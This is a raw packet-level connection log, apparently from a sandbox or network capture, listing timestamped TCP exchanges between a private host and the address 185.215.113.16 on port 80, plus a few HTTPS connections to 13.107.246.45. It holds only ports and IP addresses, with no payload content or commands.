Nov 18, 2024 02:34:26.148471117 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148472071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148484945 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148497105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148507118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148516893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148518085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148525000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148525953 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148536921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148545027 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148549080 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148569107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148571014 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148582935 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148588896 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148596048 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148622990 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148762941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148775101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148786068 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148797035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148817062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148828030 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148828030 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148828983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148840904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148853064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148853064 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148864985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148876905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148884058 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148890018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148900986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148904085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148914099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148926020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148937941 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148947001 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148960114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148967028 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.148973942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148986101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.148986101 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149005890 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149009943 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149020910 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149029970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149043083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149049997 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149069071 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149178028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149189949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149200916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149213076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149215937 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149230957 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149233103 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149243116 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149255037 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149266005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149280071 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149281025 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149286032 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149293900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149306059 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149317980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149333000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149341106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149369001 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149378061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149390936 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149400949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149411917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149434090 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149442911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149452925 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149455070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149466991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149478912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149488926 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149490118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149524927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149534941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149535894 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149558067 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149666071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149677992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149688959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149699926 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149701118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149714947 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.149725914 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.149749041 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150183916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150249004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150260925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150273085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150305986 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150332928 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150357962 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150377989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150389910 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150413990 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150413990 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150459051 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150470972 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150486946 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150496006 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150507927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150520086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150532007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150544882 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150557041 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150576115 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150583982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150594950 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150607109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150618076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150621891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150631905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150644064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150646925 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150669098 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150680065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150692940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150702953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150716066 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150717020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150729895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150739908 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150746107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150780916 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150821924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150840998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150851965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150863886 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150876999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150880098 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150887966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150898933 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150901079 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150909901 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150917053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150928974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150938988 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150969982 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.150981903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.150994062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151005030 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151026964 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151053905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151067019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151076078 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151087999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151091099 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151114941 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151221037 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151232958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151243925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151259899 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151271105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151273966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151285887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151295900 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151298046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151319027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151329994 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151333094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151351929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151366949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151374102 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151377916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151390076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151408911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151422977 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151426077 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151439905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151443958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151454926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151467085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151473045 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151484966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151523113 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151779890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151792049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151803970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151834011 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151848078 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151850939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151864052 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151875973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151886940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.151897907 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.151937008 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152040005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152050972 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152062893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152075052 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152086020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152095079 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152097940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152111053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152122974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152123928 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152136087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152137041 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152149916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152173996 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152199984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152237892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152256966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152268887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152282000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152293921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152295113 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152307034 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152318954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152326107 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152332067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152340889 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152367115 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152375937 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152379990 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152391911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152401924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152414083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152426004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152437925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152450085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152465105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152491093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152544975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152556896 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152568102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152581930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152594090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152601004 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152606010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152621031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152628899 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152633905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152642965 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152650118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152662992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.152673006 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.152695894 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.188903093 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.188915014 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.196125984 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.196131945 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.196446896 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.196468115 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.196809053 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.196820974 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.206559896 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.223288059 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.223342896 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.250699997 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.250719070 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.254400015 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259430885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259447098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259468079 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259480000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259490967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259495974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259497881 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259510994 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259541988 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259640932 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259653091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259663105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259676933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259680033 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259690046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259702921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259705067 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259716034 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259727001 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259728909 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259744883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259766102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259768009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259778023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259778023 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259794950 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259815931 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259826899 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259855986 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259871960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259885073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259896040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259907007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259918928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259932041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.259936094 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259962082 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.259977102 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260014057 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260025978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260035992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260050058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260060072 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260063887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260077953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260104895 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260129929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260166883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260186911 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260199070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260210991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260221958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260229111 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260235071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260246992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260251999 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260261059 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260272980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260283947 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260291100 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260298014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260309935 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260310888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260320902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260324955 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260339975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260350943 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260353088 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260377884 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260576010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260586977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260592937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260598898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260608912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260615110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260626078 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260637999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.260639906 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.260649920 CET	80	49776	185.215.113.16	192.168.2.6
